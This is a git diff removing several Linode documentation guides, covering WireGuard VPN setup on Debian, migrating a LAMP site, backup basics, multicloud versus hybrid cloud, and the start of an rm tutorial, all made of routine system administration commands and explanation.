worrying about what’s between those points. SD-WANs automatically and continuously learn network topology, adapting in real-time to changes in the underlying network and routing traffic around outages. - -Initial setup with SD-WANs is also much faster. Provisioning and configuring WANs often took weeks or months; SD-WAN can reduce that time to minutes, greatly improving agility. - -**Suitable for**: - -- Complex WAN designs -- New WAN overlays - -**Not suitable for**: - -- Simple LAN or MAN installations - -## Conclusion - -Since these network types greatly differ in terms of scope and technology, it's important to accurately assess which type makes sense for you. There are really just two questions: What kinds of devices are you looking to connect, and where are they? Armed with this networking knowledge, you can make an informed decision about which network types make the most sense for you. diff --git a/docs/guides/networking/vpn/set-up-wireguard-vpn-on-debian/index.md b/docs/guides/networking/vpn/set-up-wireguard-vpn-on-debian/index.md deleted file mode 100644 index 104a2185afe..00000000000 --- a/docs/guides/networking/vpn/set-up-wireguard-vpn-on-debian/index.md +++ /dev/null @@ -1,290 +0,0 @@ ---- -slug: set-up-wireguard-vpn-on-debian -title: "Set Up WireGuard VPN on Debian" -description: 'WireGuard encrypts your traffic quickly and safely. This guide will show you how to set up a Wireguard VPN server and client on Debian.' -og_description: 'This guide will show you how to install WireGuard, a fast and secure VPN, on Linode.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2019-07-08 -modified: 2021-10-15 -keywords: ['wireguard','vpn','debian'] -tags: ["networking","security","vpn","debian"] -bundles: ['network-security'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -relations: - platform: - key: setup-wireguard-vpn - keywords: - - distribution: Debian 9 -aliases: ['/networking/vpn/set-up-wireguard-vpn-on-debian/'] ---- - -## What is WireGuard? - -[WireGuard](https://www.wireguard.com)® is a simple, fast, and secure VPN that utilizes state-of-the-art cryptography. With a small source code footprint, it aims to be faster and leaner than other VPN protocols such as [OpenVPN](https://en.wikipedia.org/wiki/OpenVPN) and [IPSec](https://en.wikipedia.org/wiki/IPsec). WireGuard is still under development, but even in its unoptimized state it is faster than the popular OpenVPN protocol. - -WireGuard sets up standard network interfaces (such as `wg0` and `wg1`), which behave much like the commonly found `eth0` interface. This makes it possible to configure and manage WireGuard interfaces using standard tools such as [`ifconfig`](https://en.wikipedia.org/wiki/Ifconfig) and `ip`. Currently, WireGuard is only available on Linux. - -Configuring WireGuard is as simple as setting up SSH. A connection is established by an exchange of public keys between server and client. Only a client that has its public key in its corresponding server configuration file is allowed to connect. A WireGuard server's configuration file resembles the following example: - - {{< file "/etc/wireguard/wg0.conf" conf >}} -[Interface] -PrivateKey = -Address = 10.0.0.1/24, fd86:ea04:1115::1/64 -ListenPort = 51820 -PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE; ip6tables -A FORWARD -i wg0 -j ACCEPT; ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE -PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE; ip6tables -D FORWARD -i wg0 -j ACCEPT; ip6tables -t nat -D POSTROUTING -o eth0 -j MASQUERADE -SaveConfig = true - -[Peer] -PublicKey = -AllowedIPs = 10.0.0.2/24, fd86:ea04:1115::0/64 - {{< /file >}} - -In this guide you will learn how to: - -* [Configure a WireGuard server](#configure-wireguard-server) on a Linode running Debian 9. -* [Configure a WireGuard client](#configure-wireguard-client) on your local computer or another Linode. -* [Establish a simple peer connection](#connect-the-client-and-server) between your WireGuard server and client. -{{< note type="alert" >}} -Do not use WireGuard for critical applications. The project is still undergoing security testing and is likely to receive frequent major updates in the future. -{{< /note >}} - -## Before You Begin - -- [Deploy a Linode](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) running Debian 9. -- [Add a limited user account](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#add-a-limited-user-account) with `sudo` privileges to your Linode. -- Set your system's [hostname](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-custom-hostname). - -{{< note >}} -The `GRUB 2` kernel is required for this guide. All distributions for all new Linodes now boot with the `GRUB 2` kernel by default. However, if you are running an older distribution, you will need to check to see which kernel you are running. You can use the [Update Kernel Guide](https://techdocs.akamai.com/cloud-computing/docs/manage-the-kernel-on-a-compute-instance) to check your kernel version and change it using the Cloud Manager. Select `GRUB 2` from the *Boot Settings: Select a Kernel* dropdown menu in Step 4 of [Update Your Linode Kernel with Linode's Cloud Manager](https://techdocs.akamai.com/cloud-computing/docs/manage-the-kernel-on-a-compute-instance#view-and-modify-the-kernel-in-cloud-manager). -{{< /note >}} - -## Install WireGuard - -1. Add the WireGuard repository to your sources list. Apt will automatically update the package cache. - - echo "deb http://deb.debian.org/debian/ unstable main" > /etc/apt/sources.list.d/unstable-wireguard.list - printf 'Package: *\nPin: release a=unstable\nPin-Priority: 150\n' > /etc/apt/preferences.d/limit-unstable - -1. Update your packages and install WireGuard and WireGuard tools. DKMS (Dynamic Kernel Module Support) will build the WireGuard kernel module. - - apt update - apt install wireguard-dkms wireguard-tools - - If successful, you'll see the following output: - - {{< output >}} -wireguard: -Running module version sanity check. - - Original module - - No original module exists within this kernel - - Installation - - Installing to /lib/modules/4.9.0-9-amd64/updates/dkms/ - -depmod... - -DKMS: install completed. -Processing triggers for libc-bin (2.24-11+deb9u4) ... -{{< /output >}} - -## Configure WireGuard Server - -1. Navigate to the `/etc/wireguard` directory and generate a private and public key pair for the WireGuard server: - - sudo umask 077 - sudo wg genkey | tee privatekey | wg pubkey > publickey - - This will save both the private and public keys; they can be viewed with `cat privatekey` and `cat publickey` respectively. - -1. Create the file `/etc/wireguard/wg0.conf` and add the contents indicated below. You'll need to enter your server's private key in the `PrivateKey` field, and its private IP addresses in the `Address` field. Refer to the list below the example for more details. - - {{< file "/etc/wireguard/wg0.conf" conf >}} -[Interface] -PrivateKey = -Address = 10.0.0.1/24, fd86:ea04:1115::1/64 -ListenPort = 51820 -PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE; ip6tables -A FORWARD -i wg0 -j ACCEPT; ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE -PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE; ip6tables -D FORWARD -i wg0 -j ACCEPT; ip6tables -t nat -D POSTROUTING -o eth0 -j MASQUERADE -SaveConfig = true -{{< /file >}} - - - **PrivateKey** the server's private key generated in above. - - - **Address** defines the private IPv4 and IPv6 addresses for the WireGuard server. Each peer in the VPN network should have a unique value for this field. Typical values are `10.0.0.1/24`, `192.168.1.1/24`, or `192.168.2.1/24`. This is not the same as a private IP address that Linode can assign to your Linode instance. - - - **ListenPort** specifies which port WireGuard will use for incoming connections. The default is `51820`. What you set here you will need to reference in your firewall settings later. - - - **PostUp** and **PostDown** defines steps to be run after the interface is turned on or off, respectively. In this case, `iptables` is used to set Linux IP masquerade rules to allow all the clients to share the server's IPv4 and IPv6 address. The rules will then be cleared once the tunnel is down. - - - **SaveConfig** tells the configuration file to automatically update whenever a new peer is added while the service is running. - -### Set Up Firewall Rules - -1. Install UFW: - - sudo apt-get install ufw - -1. Allow SSH connections and WireGuard's VPN port: - - sudo ufw allow 22/tcp - sudo ufw allow 51820/udp - sudo ufw enable - -1. Verify the settings: - - sudo ufw status verbose - - -### Start the WireGuard Service - -1. Start WireGuard: - - sudo wg-quick up wg0 - - {{< note respectIndent=false >}} -`wg-quick` is a convenient wrapper for many of the common functions in `wg`. You can turn off the wg0 interface with `wg-quick down wg0` -{{< /note >}} - -1. Enable the WireGuard service to automatically restart on boot: - - sudo systemctl enable wg-quick@wg0 - -1. Check if the VPN tunnel is running with the following two commands: - - sudo wg show - - You should see a similar output: - - {{< output >}} -user@debian:/# wg show -interface: wg0 - public key: Nrl2nVQxSwrKrvz6jQcrsziuVRPWT9N1Q8/yaQkAXUg= - private key: (hidden) - listening port: 51820 -{{< /output >}} - - You may need to install [net-tools](https://tracker.debian.org/pkg/net-tools) to run `ifconfig`. Use `sudo apt-get install net-tools` if needed. - - sudo ifconfig wg0 - - Your output should resemble the following: - - {{< output >}} -user@debian:/# ifconfig wg0 -wg0: flags=209 mtu 1420 - inet 10.0.0.1 netmask 255.255.255.0 destination 10.0.0.1 - inet6 fd86:ea04:1115::1 prefixlen 64 scopeid 0x0 - unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 1 (UNSPEC) - RX packets 0 bytes 0 (0.0 B) - RX errors 0 dropped 0 overruns 0 frame 0 - TX packets 0 bytes 0 (0.0 B) - TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 -{{< /output >}} - - -## Configure WireGuard Client - -The process for setting up a client is similar to setting up the WireGuard server. When using Debian as your client's operating system, the only difference between the client and the server is the configuration file. In this section, you will configure a WireGuard client on Debian 9. - -{{< note >}} -For installation instructions on other operating systems, see the [WireGuard docs](https://www.wireguard.com/install/). -{{< /note >}} - -1. Follow the steps in the [Install WireGuard](#install-wireguard) section of the guide. - -1. Once you have installed WireGuard, follow the steps in the [Configure WireGuard Server](#configure-wireguard-server) section. Replace the example configuration file with the example file below. - - {{< file "/etc/wireguard/wg0.conf" conf >}} -[Interface] -PrivateKey = -Address = 10.0.0.2/24, fd86:ea04:1115::5/64 - {{< /file >}} - - The difference between the client and the server's configuration file, `wg0.conf`, is it contains **its own** IP addresses and does not contain the `ListenPort`, `PostUP`, `PostDown`, or `SaveConfig` values. - - -1. [Set up Firewall rules](#set-up-firewall-rules) on your WireGuard client. - -1. [Start the WireGuard Service](#start-the-wireguard-service). - -## Connect the Client and Server - -1. Stop the interface with `sudo wg-quick down wg0` on both the client and the server. - -1. Edit the `wg0.conf` file on the client to add the server's public key, public IP address, port, and allowed IPs. - - {{< file "/etc/wireguard/wg0.conf" conf >}} -[Peer] -PublicKey = -Endpoint = :51820 -AllowedIPs = 10.0.0.1/24, fd86:ea04:1115::1/64 -{{< /file >}} - -1. Edit the `wg0.conf` file on the server to add the client's public key and allowed IPs. - - {{< file "/etc/wireguard/wg0.conf" conf >}} -[Peer] -PublicKey = -AllowedIPs = 10.0.0.2/24, fd86:ea04:1115::5/64 -{{< /file >}} - -1. Restart the `wg` service on both the server and the client: - - sudo wg-quick up wg0 - -1. You can also add peers to the server from the command line. This information will be added to the config file automatically because of the `SaveConfig` option specified in the `wg0.conf` file. - - Run the following command from the server. Replace the example IP addresses with those of the client: - - sudo wg set wg0 peer allowed-ips 10.0.0.2/24,fd86:ea04:1115::5/64 - -1. Verify the connection. The following command can be run from both the client or the server: - - sudo wg - - Regardless of which method you choose to add peer information to WireGuard, the **Peer** section appears in the output of the `sudo wg` command if the setup was successful. - - {{< output >}} -user@debian:/# sudo wg -interface: wg0 - public key: vD2blmqeKsV0OU0GCsGk7NmVth/+FLhLD1xdMX5Yu0I= - private key: (hidden) - listening port: 51820 - -peer: iMT0RTu77sDVrX4RbXUgUBjaOqVeLYuQhwDSU+UI3G4= - endpoint: 10.0.0.2:51820 - allowed ips: 10.0.0.2/24, fd86:ea04:1115::/64 -{{< /output >}} - - This Peer section will be automatically added to `wg0.conf` when the service is restarted. If you would like to add this information immediately to the config file, you can run: - - sudo wg-quick save wg0 - - Additional clients can be added using the same procedure. - -### Test the Connection - -1. Return to the client and ping the server: - - ping 10.0.0.1 - -1. Once you've successfully established the ability to ping the server from the client, run the following command: - - sudo wg - - The last two lines of the output from running the `wg` command should be similar to: - - {{< output >}} - latest handshake: 1 minute, 17 seconds ago - transfer: 98.86 KiB received, 43.08 KiB sent - {{}} - - This indicates that you now have a private connection between the server and client. If you did not successfully ping the server from the client you will not see these lines. You can also ping the client from the server to verify that the connection works both ways. - - -## Next steps - -The process used in this guide can be extended to configure network topologies. As mentioned previously, WireGuard is an evolving technology. If you use WireGuard, you should monitor the [official documentation](https://www.wireguard.com/) and [todo list](https://www.wireguard.com/todo/) for critical updates and new/upcoming features. - -"WireGuard" is a registered trademark of Jason A. Donenfeld. diff --git a/docs/guides/platform/migrate-to-linode/migrate-a-lamp-website-to-linode/index.md b/docs/guides/platform/migrate-to-linode/migrate-a-lamp-website-to-linode/index.md deleted file mode 100644 index 20307cad6a1..00000000000 --- a/docs/guides/platform/migrate-to-linode/migrate-a-lamp-website-to-linode/index.md +++ /dev/null @@ -1,145 +0,0 @@ ---- -slug: migrate-a-lamp-website-to-linode -title: How to Migrate a LAMP Website to Linode -description: 'How to migrate a LAMP website from another hosting provider to Linode.' -authors: ["Nathan Melehan"] -contributors: ["Nathan Melehan"] -published: 2018-07-31 -keywords: ["lamp", "migrate", "website migration"] -tags: ["linode platform","lamp"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/platform/migrate-to-linode/migrate-a-lamp-website-to-linode/'] ---- - -This guide describes how to migrate a website running in a [LAMP](/cloud/guides/how-to-install-a-lamp-stack-on-ubuntu-18-04/#what-is-a-lamp-stack) environment on another host to a new Linode. Read the [Best Practices when Migrating to Linode](/cloud/guides/best-practices-when-migrating-to-linode/) guide prior to following this guide for more information about migrating your site. - -This guide includes commands that need to be run at the command line of your current host, which may not be available if you have a shared hosting environment. Ubuntu 18.04 is used as the distribution for the new Linode deployment in this guide. If you'd like to choose another distribution, us the examples here as an approximation for the commands you'll need to run. - -## Migrate Your System - -### Deploy Your Linode - -1. Follow Linode's [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guide and choose Ubuntu 18.04 as your Linux image when deploying. Choose a Linode plan with enough storage space to accommodate the website data from your current host. - -1. Follow the [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide and create a limited Linux user with `sudo` privileges. The examples below assume this user is named `linode_user`. - -### Install LAMP - -1. [Connect to your Linode via SSH.](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#connect-to-the-instance) - -1. If you did not do so previously, update your software: - - sudo apt update && sudo apt upgrade - -1. Install and use `tasksel` to install the `lamp-server` metapackage. - - sudo apt install tasksel - sudo tasksel install lamp-server - -### Prepare and Back up Your Current Host - -The data that needs to be transferred includes: - -- Files from the website document root. This guide assumes this to be `/var/www/html/`, but your server may have it located in another directory. -- MySQL database data (which will be exported using the `mysqldump` utility) -- Apache's configuration files. Specifically, `/etc/apache2/apache2.conf` and `/etc/apache2/sites-available/example.com.conf`. - - These and the files in the `sites-available` directory may have different names. - -Your server may have relevant website data stored in other directories, but these are the common locations for most files in a LAMP deployment. - -Perform a *database dump* needs on your MySQL process prior to transferring the data. This will result in a file on disk that encapsulates your database data which can then be copied over the network as a normal file. -{{< note type="alert" >}} -Stopping services on your current host will temporarily disable your website. -{{< /note >}} - -1. Connect to your current host via SSH. - -1. Stop the web server on your current host: - - sudo systemctl stop apache2 - - This prevents new requests on your website, which will stop new writes to your database. This ensures that the MySQL backup that is taken does not result in an inconsistent dataset. - -1. Perform a database dump of the entire database on your current host: - - sudo mysqldump --all-databases --single-transaction --quick --lock-tables=false > full-backup-$(date +%F).sql -u root -p - - This command results in a file called `full-backup-*.sql` with the current date inserted. - -1. (Optional) Restart your web server on the current host to continue serving visitors in the interim: - - sudo systemctl start apache2 - - {{< note respectIndent=false >}} -If any new information is added to the database on the current host prior to fully transferring service to Linode, that new information is not included in the MySQL backup that was performed in this section. -{{< /note >}} - -### Transfer Data to Your Linode - -The following commands copy files into the home directory of your Linode's Linux user, `~/document_root` in these examples. The section after ensures that these files are moved to the right locations on disk and that their file ownership is correct. This work is done in two steps because the Linux user is assumed to have limited privileges and is unable to write to certain locations on disk. - -1. From your current host, upload the Apache configuration files to your new Linode: - - rsync -az /etc/apache2/apache2.conf linode_user@linode_ip_address:/etc/apache2/ - rsync -az /etc/apache2/sites-available/example.com.conf linode_user@linode_ip_address:~ - -1. Upload the website files to your Linode: - - rsync -av /var/www/html/ linode_user@linode_ip_address:~/document_root - -1. Upload the database dump file to your Linode: - - rsync -az full-backup-*.sql linode_user@linode_ip_address:~ - -### Finish Setting up Your Linode - -1. From your Linode, move the transferred Apache configuration files to the appropriate locations: - - cd ~ - sudo mv apache2.conf /etc/apache2 - sudo mv example.com.conf /etc/apache2/sites-available - -1. Set `root` as the owner and group for the files: - - sudo chown root:root /etc/apache2/apache2.conf /etc/apache2/sites-available/example.com.conf - -1. Move the website files and set the owner and group to `www-data`: - - sudo mv document_root/* /var/www/html - sudo chown -R www-data:www-data /var/www/html - {{< note type="alert" respectIndent=false >}} -This will overwrite all current data in the MySQL database system of your Linode. It is not recommended that you perform this command on a Linode with other existing websites. -{{< /note >}} - -1. Restore the database dump file. Replace `full-backup-*.sql` with the name of your file: - - sudo mysql -u root < full-backup-*.sql - -1. [Reload MySQL's grant tables](https://dev.mysql.com/doc/refman/8.0/en/privilege-changes.html). This is necessary when a web application includes a user in the `mysql.users` table. If this is not performed, the application will not have permission to read from the database: - - sudo mysqladmin flush-privileges -u root -p - -1. Disable the default Apache example site and enable yours: - - sudo a2dissite 000-default.conf - sudo ensite example.com.conf - -1. Restart Apache: - - sudo systemctl restart apache - -### Test Your New Environment - -Go to your Linode's IP address in a web browser. Your website should appear. - -If your website does not load normally, one possible reason is that your IP address could be hard-coded in some areas of the website files or in the database. If this is the case, consult your PHP application framework's documentation for ways to search for and replace those values. For example, WordPress's [WP-CLI interface](https://developer.wordpress.org/cli/commands/search-replace/) and Drupal's [Drush interface](https://www.drupal.org/project/sar) provide methods that help with this task. - -Another reason the site may not load is if your website configuration expects your domain name to be supplied in the HTTP headers of a web request. When you visit your IP directly, this information is not supplied in your request. The [Previewing Websites Without DNS](/cloud/guides/previewing-websites-without-dns/) guide describes a workaround for this issue. When you have updated your DNS records, the workaround will no longer be necessary to view your site. - -If you are seeing any other errors on your site, try reviewing Apache's error logs for further clues. The locations for these logs will be listed in your `/etc/apache2/apache2.conf` or `/etc/apache2/sites-available/` files. - -## Migrating DNS Records - -The last step required to migrate is to update your DNS records to reflect your new Linode's IP. Once this is done, visitors will start loading the page from your Linode. - -{{% content "use-linode-name-servers" %}} diff --git a/docs/guides/quick-answers/linux-essentials/introduction-to-backups/index.md b/docs/guides/quick-answers/linux-essentials/introduction-to-backups/index.md deleted file mode 100644 index d3f8177d762..00000000000 --- a/docs/guides/quick-answers/linux-essentials/introduction-to-backups/index.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -slug: introduction-to-backups -title: Introduction to Backups -description: This guide explains to new users why and how they should back up data on their Linodes. -authors: ["Linode"] -contributors: ["Linode"] -published: 2018-05-18 -keywords: ["backups", "snapshot", "Linode backup", "beginners"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Backing Up Your Data](/cloud/guides/backing-up-your-data/)' -tags: ["linux"] -aliases: ['/quick-answers/linux-essentials/introduction-to-backups/'] ---- - -![Introduction to Backups](introduction-to-backups.png "Introduction to Backups") - -## Why Should You Back Up Your Data? - -A *backup* can refer to anything from a copy of an important file to a snapshot of a full disk. Many desktop applications and operating systems automatically create backups of your data. In contrast, Linode is a flexible platform where you have full control over which operating systems and applications are installed, which means that no backup system is installed by default. - -If you do not create or install a backup system, **data on your Linode is not backed up automatically**. This means that if your files are corrupted, accidentally deleted, or removed during a security compromise of your deployment, your data will be lost. If you store any critical or personal data on your Linode, you should take steps to make sure that your data is recoverable. - -Aside from protecting your files against data-loss scenarios, making periodic backups can help you restore earlier versions of your data. For example, if you decide to change your application's configuration, but the new configuration doesn't work as expected, then you can revert to your earlier configuration. - -## Linode Backups - -One simple way to make sure your entire system is backed up is to use the official Linode Backup service. This is a paid add-on to your account, and it will automatically take a snapshot of your disk at regular intervals. If your data is ever lost, you can use the most recent snapshot to recover the disk. For more information, see [Linode Backups](https://techdocs.akamai.com/cloud-computing/docs/backup-service). - -## Manual Backups - -If your Linode contains only a few important items (a directory with pictures or personal documents, for example), then backing up the entire disk may be overkill. - -You may have made manual backups of files on your personal computer by dragging them onto a flash drive or other external device. A similar procedure can be used to save copies of your files on your Linode to your home computer, another Linode, or a [Block Storage Volume](https://techdocs.akamai.com/cloud-computing/docs/block-storage). The simplest tool to use for this purpose is `scp`, which stands for *secure copy*. - -1. On your Linode, use the `zip` tool to create a compressed archive of the directory you want to back up: - - sudo apt install zip - zip backup-$(date +%F).zip my-directory - - This will create a timestamped `.zip` file in your current working directory. - -2. From your local computer, copy the archive to your hard drive. Replace `username` with your Linux username and `ip-address` with the public IP address of your Linode. - - scp username@ip-address:/home/username/backup.zip . - -3. To copy to another Linode, run the following command from the Linode that contains the archive. This time, replace `ip-address` with the public IP address of the Linode that will store the backup. - - scp backup.zip username@ip-address:/home/username/ - -4. If you have a Block Storage Volume mounted to your Linode, copying is even simpler: - - cp backup.zip /mnt/my-volume - -If you are more comfortable working on the command line, this kind of backup can be automated with a [cron job](/cloud/guides/schedule-tasks-with-cron/) so that it can run automatically at a set interval. - -## Database Backups - -Many applications, including common CMS platforms like WordPress, store their data in a database. It is crucial to make sure that this data can be restored in the event of a system compromise. Fortunately, most database systems include tools to make backing up simple and painless. - -If you are using MySQL or MariaDB, read more about `mysqldump` in our [mysqldump](/cloud/guides/mysqldump-backups/) guide, or try making [physical backups](/cloud/guides/create-physical-backups-of-your-mariadb-or-mysql-databases/). - -If your application uses PostgreSQL, read our guide on [How to Back Up Your PostgreSQL Database](/cloud/guides/back-up-a-postgresql-database/). - -## Third-Party Tools - -Free command line tools such as [backupninja](https://0xacab.org/riseuplabs/backupninja) and Gnome desktop tools like [sbackup](https://sourceforge.net/projects/sbackup/) can also be used to create customized, automated backup routines. diff --git a/docs/guides/quick-answers/linux-essentials/multi-cloud-vs-hybrid-cloud/index.md b/docs/guides/quick-answers/linux-essentials/multi-cloud-vs-hybrid-cloud/index.md deleted file mode 100644 index e4a375d95c3..00000000000 --- a/docs/guides/quick-answers/linux-essentials/multi-cloud-vs-hybrid-cloud/index.md +++ /dev/null @@ -1,90 +0,0 @@ ---- -slug: multi-cloud-vs-hybrid-cloud -title: "Multicloud vs. Hybrid Cloud: Differences Explained" -title_meta: "What is the Difference Between Hybrid Cloud and Multicloud?" -description: 'Comparing multicloud vs hybrid cloud? Discover their similarities, differences, and the pros and cons of each approach. Find the right one for you by reading this guide.' -authors: ["Jack Wallen"] -contributors: ["Jack Wallen"] -published: 2022-01-28 -keywords: ['hybrid cloud vs multi cloud','hybrid vs multi cloud','multi-cloud vs hybrid cloud'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -In the last couple of years, *the cloud* has become a ubiquitous term and piece of technology. But depending on who you ask, what is meant by "the cloud" can vary dramatically. For some, the cloud is only a way to store files and photos on a third-party service. For others, the cloud is a means to sync data between phones and desktops. Others look at the cloud as a method of serving applications to consumers and customers. As you keep climbing up the IT ladder, the definition gets more granular and more complicated. - -Why? Because the technology driving the cloud becomes more complicated. - -For businesses, the cloud is a very important piece of the puzzle. One that makes it possible for companies to better monetize their offerings, save money, and deliver reliable services that scale to meet demand. It's on this level that things become more complex. Part of the reason for this confusion is two different types of cloud technologies that are often mistaken with one another. - -Hybrid vs. multicloud environments are quite pervasive in the IT landscape. There are differences between hybrid and multicloud deployments that are important to understand when a company designs its cloud strategy. - -## What is Multicloud Computing? - -Multicloud deployment is often preferred by businesses, sometimes without the business recognizing it is adopting the technology, but doing so because it addresses the business requirements. It's association by need, not design. - -The defining aspect of the multicloud setup is that it makes use of multiple public cloud services. These services often come from different providers, all of which make their offerings publicly available. So your company might use any combination of AWS, Google Cloud, Azure, Linode, Digital Ocean, or RackSpace. For example, your groupware might be hosted on Google Cloud (such as Google Workspaces), your mobile applications on AWS, your containerized applications on Linode, your website on Azure, and your storage on Digital Ocean. That's a widespread multicloud deployment, but it illustrates how multicloud can work. - -One reason to spread your technology net so wide is because one cloud provider doesn't support all of the technologies your business requires to function. Another reason could be that it’s more cost-effective to run a particular type of workload on one platform than the others. - -IT decision makers align company business technology adoption with a need and solve that need with a solution. In the modern IT landscape, that solution is often handled via the cloud. Given how many pre-built services exist within the cloud, the decision is not difficult. *Problem X + Cloud Solution Y = Reliable Workflow*. - -## What is Hybrid Cloud Computing? - -Hybrid cloud computing makes use of a private cloud in addition to public cloud hosting platforms. In this environment, both the public and the private cloud environments are managed as one. - -Hybrid cloud computing is more complicated than multicloud for two reasons: - -- You must include a private cloud option. -- You must be able to seamlessly combine both private and public options. - -For example, you have a service that you run on-premise. It's a containerized application, run via a private cloud, and your container database is served up via your in-house data center. That application runs well during non-peak periods. But during peak demand, your private cloud isn't capable of scaling to meet the higher demand. - -To make that work, you employ frameworks and services that automatically shift the load from your in-house private cloud to your public cloud to handle the added demand. Once peak times end, the load shifts back to your private cloud. - -As far as your customer is concerned, nothing changes. For your business, considerable effort goes into making that a reality because there are a lot of moving pieces required for this to work smoothly. When this type of deployment functions as expected, it's a game-changer. Service is seamless and the technology making it happen is transparent. - -## Multicloud vs. Hybrid Cloud - -These two technologies are similar, but their differences matter when planning your cloud strategy. - -### Similarities Between Hybrid Cloud and Multicloud - -The obvious similarity in hybrid cloud vs multicloud is that they both make use of public cloud technology. Without public cloud technology, neither of these types would exist. Because they both use public clouds, these two types of deployments co-exist well. For example, your business can make use of a multicloud deployment for one department, or location, and a hybrid cloud for another. Those two deployments are able to communicate with one another. - -A hybrid cloud can become a multicloud deployment if the hybrid cloud uses multiple public clouds and multiple private clouds combined. - -### Difference Between Hybrid Cloud and Multicloud - -The biggest difference between the multicloud and hybrid cloud is that in multicloud only public clouds are used and in the hybrid cloud, a mixture of public and private clouds are used. It's that private cloud that makes the difference. The difference is more telling than you might think. - -Any business can quickly get up and running with a multicloud environment with little effort because a third party takes care of almost everything. For example, with Google Workspaces, the only thing your IT staff does is add branding, usernames, and policies. - -Consider if you opt to pull a particular functionality in-house with a private instance of Nextcloud. Now your IT department has to deploy the platform, configure it to function within your business, and then add branding, users, etc. After that, you have to connect that private cloud so it functions with your public cloud tools. Hybrid cloud environments are just more complex. - -It’s important to clarify one thing: A private cloud doesn't have to be hosted in-house. Most third-party cloud services can provide you with a private cloud option. The difference here is that although the public has access to the third-party provider, they do not have access to the private cloud that the service provides you. - -### Pros and Cons of Hybrid Cloud and Multicloud - -Multicloud is considerably easier to deploy and use. Typically once your multicloud environment is up and running, it is very reliable because those third-party cloud vendors have a vested interest in keeping your business functioning. That equates to your IT staff being able to spend their precious time doing more important things. - -When comparing multicloud vs hybrid cloud, there's the issue of cost. This is where the concept of *Cloud Bursting* comes into play. This is when you have applications and services that normally run on your private cloud but, when demand increases, the applications/services automatically "burst" out to your public cloud space to meet demand. There are three types of cloud bursting: distributed load balancing (used to simultaneously provision cloud resources), manual bursting (used to manually provision and deprovision cloud resources and services), and automated bursting (used to automatically provision and deprovision cloud resources and services). This saves you considerable money, increases the efficiency of operations, and improves performance and productivity of your deployments. Cloud bursting is a viable solution for applications that must read data from storage, database applications that require sharding for higher performance, applications that depend on massive amounts of data, and AL/ML models. However, if your applications rely on low-latency or you have simulations that create large amounts of node-to-node traffic, cloud bursting might not be a great fit. Other issues to factor in with cloud bursting are the complications involved in setting up the services, and keeping them running smoothly. You need to implement observability services and tools to keep close watch. - -Private clouds, especially those you run either in-house or on a third-party host, are significantly cheaper than their public counterparts. Think about it this way: You can pay for each employee to use Google Workspaces, or you can deploy Nextcloud in-house and use it for free. You are only paying the premium price when it's absolutely necessary. - -The downfall of such a setup is that it's complicated to deploy. You need an IT staff with considerable skills to get the hybrid cloud up and running and maintain it. - -Another benefit of the hybrid cloud is that it allows your business to keep sensitive information in-house. You might have client information or company IP that you don't want to find its way into the public. For such a case, the hybrid cloud is the best option, because you keep control over what happens with that data. - -Control is another benefit of the hybrid cloud. With a multicloud environment, you are only able to control so much of the platform because your third-party provider is only willing to hand over so much configuration to your company and staff. With the hybrid cloud, at least on the private cloud end, you are in full control. This is especially true when using open-source solutions on your private cloud, where your in-house developers can dive into the code and make changes to perfectly suit your company. - -## Hybrid Cloud vs Multicloud: Which Model Is Right For Me? - -You can boil this decision down by answering a simple question. Decide whether cost savings, simplicity, or control is most important to your company. If your business is looking to keep costs down, while keeping control of your data and customizations, then a hybrid cloud is probably the best option. However, if your business just needs everything up and running, without worrying about downtime, maintenance, or staffing, the multicloud environment might be the perfect solution. Keep in mind that in the long run the multicloud environment will probably cost you more and won't offer you nearly the control you have with a hybrid cloud. - -## Conclusion - -The type of cloud strategy that you use is a decision to make upfront. It's important to understand that you can, at any time, switch routes. If you already have a multicloud environment, you can layer on a private cloud and turn the multi to a hybrid cloud deployment. Cloud host providers like Linode make adopting either as simple as signing up for your account, deploying your services, and then bridging those together with your other cloud deployments. - -There's plenty of [documentation](/cloud/) to help you make this a reality. - -If you find the multicloud costs too much, or that it does not give you the control or security your company demands, you're just a private cloud deployment away from solving that problem. diff --git a/docs/guides/quick-answers/linux/delete-file-linux-command-line/index.md b/docs/guides/quick-answers/linux/delete-file-linux-command-line/index.md deleted file mode 100644 index 9c0c498b6f3..00000000000 --- a/docs/guides/quick-answers/linux/delete-file-linux-command-line/index.md +++ /dev/null @@ -1,102 +0,0 @@ ---- -slug: delete-file-linux-command-line -title: "Use rm to Delete Files and Directories on Linux" -description: "This guide provides you instructions for deleting files, directories, content and more using rm command from the Linux Command Line on any distribution." -authors: ["Edward Angert"] -contributors: ["Edward Angert"] -published: 2018-07-03 -modified: 2022-01-14 -keywords: ["remove files", "delete files", "rm"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -tags: ["linux"] -aliases: ['/quick-answers/linux/delete-file-linux-command-line/'] ---- - -This guide shows how to use `rm` to remove files, directories, and other content from the command line in Linux. - 